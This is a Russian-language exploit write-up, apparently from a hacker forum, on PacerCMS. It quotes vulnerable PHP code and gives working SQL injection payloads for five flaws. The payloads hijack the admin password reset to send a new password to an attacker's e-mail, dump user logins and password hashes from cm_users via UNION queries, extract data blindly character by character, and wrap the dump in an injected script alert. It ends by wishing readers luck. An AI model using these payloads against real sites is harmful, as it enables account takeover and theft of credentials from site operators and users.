0.INTRO Офсайт: http://pacercms.sourceforge.net/ Префикс(вшит): cm_ Админка: siteadmin/ 1.Уязвимости 1. Change Admin Password Собственно вот весь уязвимый код: PHP: // siteadmin/login.php (42-45) if ($_POST['username'] != "" && $_POST['email'] != "") { $username = $_POST['username']; $email = $_POST['email']; $status = cm_reset_pass($username,$email); //... } // siteadmin/cm-includes/functions.php (80-133) function cm_reset_pass($username,$email){ $query = "SELECT * FROM cm_users"; $query .= " WHERE user_login = '$username' AND user_email = '$email'"; $query .= " LIMIT 1;"; $result = cm_run_query($query); $id = $result->Fields('id'); if (is_numeric($id)) { //... //Тут рандомно генерится новый пасс //... // Change to MD5 Hash of random password $enc_password = md5($password); $query = "UPDATE cm_users SET"; $query .= " user_password = '$enc_password'"; $query .= " WHERE id = $id"; $result = cm_run_query($query); // E-mail new password to user $subject = "PacerCMS - Your new username and password"; //... $message .= "Username:\t $username\n"; $message .= "Password:\t $password\n "; //... // Send the e-mail notification $sendit = mail($email, $subject, $message); //... } else { //... } } Все элементарно. Отсутствует проверка переменной $username и у нас появляется возможность заюзать SQL Injection. А для изменения пасса у админа модифицируем запрос к БД так чтобы мы смогли подменить $id на админский (дефолт - 1). Пароль успешно меняется и результат отсылается на указанный нами e-mail. Для использования необходимо magic_quotes=off. Эксплойт: Code: http://pacercms/siteadmin/login.php POST: username=' UNION SELECT 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1 -- d&email=[Your e-mail] 2. SQL injection Интересная уязвимость. Файл feed.php (8-32) PHP: if (is_numeric($_GET['id'])) { // Grab selected section $section = $_GET['id']; $smarty->assign("section_name", section_info('name', $_GET['id']) ); $feed_wc .= " WHERE section_id = '$section' AND issue_id = '$issue' "; } elseif ($_GET['show'] == 'all') { // Show all sections $feed_wc .= " WHERE issue_id = $issue "; } else { // Default to cover section $feed_wc .= " WHERE section_id = 1 AND issue_id = $issue "; } /*======================= Feed Articles =======================*/ $query = "SELECT a.id, a.article_title, a.article_text, a.article_summary, a.article_author, a.article_publish, s.section_name "; $query .= " FROM cm_articles a INNER JOIN cm_sections s ON a.section_id = s.id "; $query .= $feed_wc; $query .= " ORDER BY s.section_priority, a.article_priority ASC; "; // Run Query $result = run_query($query); Попробуйте отследить переменную $feed_wc. Заметили? Она не объявляется должным образом. То есть мы можем присвоить ей любое значение и только потом после нашего значения к ней допишется один из трех вариантах описанных в конструкции с ифами. Затем эта переменная попадает в запрос. Благодаря чему появляется SQL injection. (Кстати в данном случае можно заюзать эту багу в 3 версии мускуля где отсутствуют UNION и подзапросы, дописав таблицу с юзерами через запятую во FROM, эт так мылси вслух) Необходимо: register_globals=On Эксплойт: Code: http://pacercms/feed.php?feed_wc=WHERE 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_password),7 FROM cm_users -- d Ну и для третей ветки Мускуля: http://pacercms/feed.php?feed_wc=, cm_users WHERE IF(ASCII(SUBSTRING(user_login,1,1))>102,1,0) -- d 3. SQL injection А эту багу можно заюзать в двух вариантах в зависимости от настройки PHP. Сейчас объсню. Бажный код search.php(13-58) PHP: // Get set values $string = strip_tags($_GET['s']); $index = strip_tags($_GET['index']); $sort_by = strip_tags($sort_by_list[$_GET['sort_by']]); $sort_dir = strip_tags($_GET['sort_dir']); // Make sure defaults are set if (empty($index)) { $index = 'article'; } if ($sort_dir != 'ASC') { $sort_dir = 'DESC'; } if (empty($sort_by)) { $sort_by = 'article_publish'; } //... // Set search mode if ($index == "article") { $field = "article_text,article_title,article_subtitle"; } if ($index == "author") { $field = "article_author"; } if ($index == "keyword") { $field = "article_keywords"; } $query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated $query .= " article_title, article_summary, article_author, article_word_count, article_publish, section_name "; $query .= " FROM cm_articles INNER JOIN cm_sections ON cm_articles.section_id = cm_sections.id "; $query .= " WHERE MATCH ($field) AGAINST ('$string' IN BOOLEAN MODE) AND article_publish < '$next_issue_date' "; $query .= " ORDER BY $sort_by $sort_dir;"; // Run query $result = run_query($query); Попробуем последить за двумя перменными $index и $field. $index берется из массива $_GET и затем в зависимости от трех различных значений этой перменной объявлятеся $field, которая в свою очередь попадает в запрос. Вроде типа грамотно. Ан нет. Если мы присвоим $index любое другое значение не предусмотренное в ифах, то можем задать $field любое наше значение при условии register_globals=On, которое затем попадет в SQL запрос. Второй вариант. На сервере register_globals=Off. Что делать? Так вот. Следим за переменной $string она берется из массива $_GET и попадает в запрос без фильтрации, с одной стороны register_globals нас особо не волнует, с другой - появляется неободимость в magic_quotes=off Эксплоиты: Code: Need: register_globals=on http://pacercms/search.php?index=zzzz&field=article_author) AGAINST (2) AND 1=0 UNION SELECT 1,2,3,4,5,6,7,8 -- d Need: magic_qoutes=off http://pacercms/search.php?s=2') AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_password),7,8 FROM cm_users -- d 4. SQL injection Тут все до нельзя банально. archives.php (99-107) PHP: $query = "SELECT cm_articles.id, cm_articles.id AS article_id, "; // article_id depreciated $query .= " article_title, article_summary, article_author, article_word_count, section_name, issue_volume, issue_number "; $query .= " FROM cm_articles INNER JOIN (cm_sections, cm_issues) "; $query .= " ON (cm_sections.id = cm_articles.section_id AND cm_issues.id = cm_articles.issue_id)"; $query .= " WHERE issue_date = '$issue_date' AND issue_date < '$next_issue_date' "; $query .= " ORDER BY section_priority ASC, article_priority ASC;"; // Run query $result = run_query($query); Возможно задать перменной $issue_date свое значение при register_globals=on и заюзать SQL inj при magic_quotes=off, вот такая вот привередливая бага. Эксплоит: Code: http://pacercms/archives.php?issue=1&issue_date=1' UNION SELECT 1,2,3,4,5,CONCAT('<script>alert("',CONCAT_WS(0x203A20,user_login,user_password),'")</script>'),7,8,9 FROM cm_users-- d //ЗЫ с алертом изъебнулсо чтобы сразу бросалось в глаза, это необязательно ;) 5. Blind SQL injection (More1Row) Бажен этот же файл. archives.php (22-28) PHP: if (ereg("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $_GET['issue'])) { $issue_date = $_GET['issue']; $query = "SELECT issue_volume FROM cm_issues WHERE issue_date = '$issue_date';"; $result = run_query($query); $volume = $result->Fields(issue_volume); } Такое ощущение что автор немного накосячил в регулярке, во первых, а во вторых в любом случае эта фильтрация свелась бы на нет нулл байтом %00 Если при выполнении SQL запроса произошла какая то ошибка то функция run_query выводит типа блаблабла косяк в запросе, благодаря чему мы можем заюзать метод more1row. Для эксплуатации уязвимости необходимо magic_quotes=off Эксплоит: Code: http://pacercms/archives.php?issue=2008-09-01' OR IF(ASCII(SUBSTRING((SELECT CONCAT_WS(0x3A,user_login,user_password) FROM cm_users),1,1))>102,1,(SELECT 1 UNION SELECT 2))-- d 2.OUTRO Это самые критичные баги. К примеру XSS там куча, огромная куча. В особенности пассивок. В админке способа залить шелл нету. Вся админка работает только по принципу добавить новость, удалить, вообщем самый минимум. Хотя может быть чего то да я упустил. Собственно удачи...